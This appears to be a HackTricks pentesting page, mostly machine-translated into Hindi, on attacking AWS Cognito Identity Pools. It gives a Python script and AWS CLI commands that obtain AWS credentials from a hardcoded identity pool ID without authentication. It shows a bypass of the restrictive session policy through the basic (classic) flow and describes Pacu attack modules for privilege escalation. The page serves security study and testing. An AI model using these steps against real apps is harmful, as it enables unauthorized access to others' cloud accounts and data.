Cognito Identity Pools

Reading time: 9 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

Identity pools एक महत्वपूर्ण भूमिका निभाते हैं क्योंकि ये आपके उपयोगकर्ताओं को अस्थायी क्रेडेंशियल्स प्राप्त करने में सक्षम बनाते हैं। ये क्रेडेंशियल्स विभिन्न AWS सेवाओं, जैसे कि Amazon S3 और DynamoDB, तक पहुँचने के लिए आवश्यक हैं। Identity pools की एक उल्लेखनीय विशेषता यह है कि ये गुमनाम अतिथि उपयोगकर्ताओं और उपयोगकर्ता प्रमाणीकरण के लिए विभिन्न पहचान प्रदाताओं का समर्थन करते हैं। समर्थित पहचान प्रदाता में शामिल हैं:

  • Amazon Cognito user pools
  • सोशल साइन-इन विकल्प जैसे Facebook, Google, Login with Amazon, और Sign in with Apple
  • OpenID Connect (OIDC) के साथ संगत प्रदाता
  • SAML (Security Assertion Markup Language) पहचान प्रदाता
  • Developer authenticated identities
python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3

# Initialize the Amazon Cognito Identity client
client = boto3.client('cognito-identity')

# Assume you have already created an identity pool and obtained the IdentityPoolId
identity_pool_id = 'your-identity-pool-id'

# Add an identity provider to the identity pool
response = client.set_identity_pool_roles(
IdentityPoolId=identity_pool_id,
Roles={
'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
}
)

# Print the response from AWS
print(response)

Cognito Sync

Identity Pool सत्र उत्पन्न करने के लिए, आपको पहले एक पहचान ID उत्पन्न करने की आवश्यकता है। यह पहचान ID उस उपयोगकर्ता के सत्र की पहचान है। इन पहचानों में 20 तक डेटा सेट हो सकते हैं जो 1MB तक की कुंजी-मूल्य जोड़े को संग्रहीत कर सकते हैं।

यह एक उपयोगकर्ता की जानकारी रखने के लिए उपयोगी है (जो हमेशा उसी पहचान ID का उपयोग करेगा)।

इसके अलावा, सेवा cognito-sync वह सेवा है जो इस जानकारी का प्रबंधन और समन्वय करने की अनुमति देती है (डेटा सेट में, धाराओं में जानकारी भेजना और SNS संदेश...).

Tools for pentesting

  • Pacu, AWS शोषण ढांचा, अब "cognito__enum" और "cognito__attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की गणना को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, उपयोगकर्ता विशेषताएँ जो पहुँच नियंत्रण के लिए उपयोग की जाती हैं, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, ID टोकन में अस्वीकार योग्य भूमिकाओं के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।

मॉड्यूल के कार्यों का विवरण देखने के लिए ब्लॉग पोस्ट का भाग 2 देखें। स्थापना निर्देशों के लिए मुख्य Pacu पृष्ठ देखें।

Usage

Sample cognito__attack उपयोग एक दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ उपयोगकर्ता निर्माण और सभी प्रिवेस्क वेक्टर का प्रयास करने के लिए:

bash
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

सैंपल cognito__enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ता आदि को इकट्ठा करने के लिए:

bash
Pacu (new:test) > run cognito__enum
  • Cognito Scanner एक CLI टूल है जो पायथन में लिखा गया है और यह Cognito पर विभिन्न हमलों को लागू करता है, जिसमें अवांछित खाता निर्माण और पहचान पूल वृद्धि शामिल है।

Installation

bash
$ pip install cognito-scanner

उपयोग

bash
$ cognito-scanner --help

For more information check https://github.com/padok-team/cognito-scanner

IAM भूमिकाओं तक पहुँच

बिना प्रमाणीकरण के

एक हमलावर को AWS क्रेडेंशियल्स प्राप्त करने के लिए एक Cognito ऐप में बिना प्रमाणीकरण वाले उपयोगकर्ता के रूप में केवल Identity Pool ID जानने की आवश्यकता होती है, और यह ID को वेब/मोबाइल ऐप्लिकेशन में हार्डकोड किया जाना चाहिए ताकि इसका उपयोग किया जा सके। एक ID इस तरह दिखती है: eu-west-1:098e5341-8364-038d-16de-1865e435da3b (यह ब्रूटफोर्स करने योग्य नहीं है)।

tip

IAM Cognito बिना प्रमाणीकरण वाली भूमिका जो बनाई गई है उसे डिफ़ॉल्ट रूप से Cognito_<Identity Pool name>Unauth_Role कहा जाता है।

यदि आप एक हार्डकोडेड Identity Pools ID पाते हैं और यह बिना प्रमाणीकरण वाले उपयोगकर्ताओं की अनुमति देता है, तो आप AWS क्रेडेंशियल्स प्राप्त कर सकते हैं:

python
import requests

region = "us-east-1"
id_pool_id = 'eu-west-1:098e5341-8364-038d-16de-1865e435da3b'
url = f'https://cognito-identity.{region}.amazonaws.com/'
headers = {"X-Amz-Target": "AWSCognitoIdentityService.GetId", "Content-Type": "application/x-amz-json-1.1"}
params = {'IdentityPoolId': id_pool_id}

r = requests.post(url, json=params, headers=headers)
json_resp = r.json()

if not "IdentityId" in json_resp:
print(f"Not valid id: {id_pool_id}")
exit

IdentityId = r.json()["IdentityId"]

params = {'IdentityId': IdentityId}

headers["X-Amz-Target"] = "AWSCognitoIdentityService.GetCredentialsForIdentity"
r = requests.post(url, json=params, headers=headers)

print(r.json())

या आप निम्नलिखित aws cli कमांड का उपयोग कर सकते हैं:

bash
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign

warning

ध्यान दें कि डिफ़ॉल्ट रूप से एक अनधिकृत cognito उपयोगकर्ता को कोई अनुमति नहीं मिल सकती, भले ही इसे एक नीति के माध्यम से सौंपा गया हो। निम्नलिखित अनुभाग की जांच करें।

Enhanced vs Basic Authentication flow

पिछले अनुभाग ने डिफ़ॉल्ट संवर्धित प्रमाणीकरण प्रवाह का पालन किया। यह प्रवाह IAM भूमिका सत्र के लिए एक प्रतिबंधात्मक सत्र नीति सेट करता है। यह नीति केवल सत्र को इस सूची से सेवाओं का उपयोग करने की अनुमति देगी (भले ही भूमिका को अन्य सेवाओं तक पहुंच हो)।

हालांकि, इसे बायपास करने का एक तरीका है, यदि पहचान पूल में "बेसिक (क्लासिक) फ्लो" सक्षम है, तो उपयोगकर्ता उस प्रवाह का उपयोग करके एक सत्र प्राप्त कर सकेगा जिसमें वह प्रतिबंधात्मक सत्र नीति नहीं होगी

bash
# Get auth ID
aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign

# Get login token
aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign

# Use login token to get IAM session creds
## If you don't know the role_arn use the previous enhanced flow to get it
aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign

warning

यदि आपको यह त्रुटि मिलती है, तो इसका कारण है कि बुनियादी प्रवाह सक्षम नहीं है (डिफ़ॉल्ट)

An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.

IAM क्रेडेंशियल्स का एक सेट होने पर आपको यह जांचना चाहिए कि आपके पास कौन सा एक्सेस है और अधिकार बढ़ाने की कोशिश करें.

प्रमाणित

note

याद रखें कि प्रमाणित उपयोगकर्ताओं को शायद विभिन्न अनुमतियाँ दी जाएंगी, इसलिए यदि आप ऐप के अंदर साइन अप कर सकते हैं, तो ऐसा करने की कोशिश करें और नए क्रेडेंशियल्स प्राप्त करें।

प्रमाणित उपयोगकर्ताओं के लिए भूमिकाएँ भी उपलब्ध हो सकती हैं जो Identity Pool तक पहुँच रही हैं।

इसके लिए आपको पहचान प्रदाता तक पहुँच की आवश्यकता हो सकती है। यदि वह एक Cognito User Pool है, तो शायद आप डिफ़ॉल्ट व्यवहार का दुरुपयोग कर सकते हैं और खुद एक नया उपयोगकर्ता बना सकते हैं

tip

IAM Cognito प्रमाणित भूमिका जो बनाई गई है उसे डिफ़ॉल्ट रूप से Cognito_<Identity Pool name>Auth_Role कहा जाता है।

वैसे भी, निम्नलिखित उदाहरण यह अपेक्षाकृत करता है कि आप पहले से ही एक Cognito User Pool के अंदर लॉग इन कर चुके हैं जिसका उपयोग Identity Pool तक पहुँचने के लिए किया गया है (यह न भूलें कि अन्य प्रकार के पहचान प्रदाता भी कॉन्फ़िगर किए जा सकते हैं)।


# Updated format
aws cognito-identity get-id \
--identity-pool-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins '{"cognito-idp..amazonaws.com/": ""}'

Deprecated format — ये वर्तमान AWS CLI के साथ काम नहीं कर सकते:


aws cognito-identity get-id \
--identity-pool-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--logins cognito-idp..amazonaws.com/=

aws cognito-identity get-credentials-for-identity \
--identity-id  \
--custom-role-arn  \
--logins cognito-idp..amazonaws.com/=

warning

यह संभव है कि पहचान प्रदाता के आधार पर विभिन्न IAM भूमिकाएँ कॉन्फ़िगर की जाएं जिस पर उपयोगकर्ता लॉग इन कर रहा है या यहां तक कि उपयोगकर्ता (क्लेम का उपयोग करके) के आधार पर। इसलिए, यदि आपके पास एक ही या विभिन्न प्रदाताओं के माध्यम से विभिन्न उपयोगकर्ताओं तक पहुँच है, तो लॉग इन करना और उनके सभी IAM भूमिकाओं तक पहुँच प्राप्त करना लायक हो सकता है

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें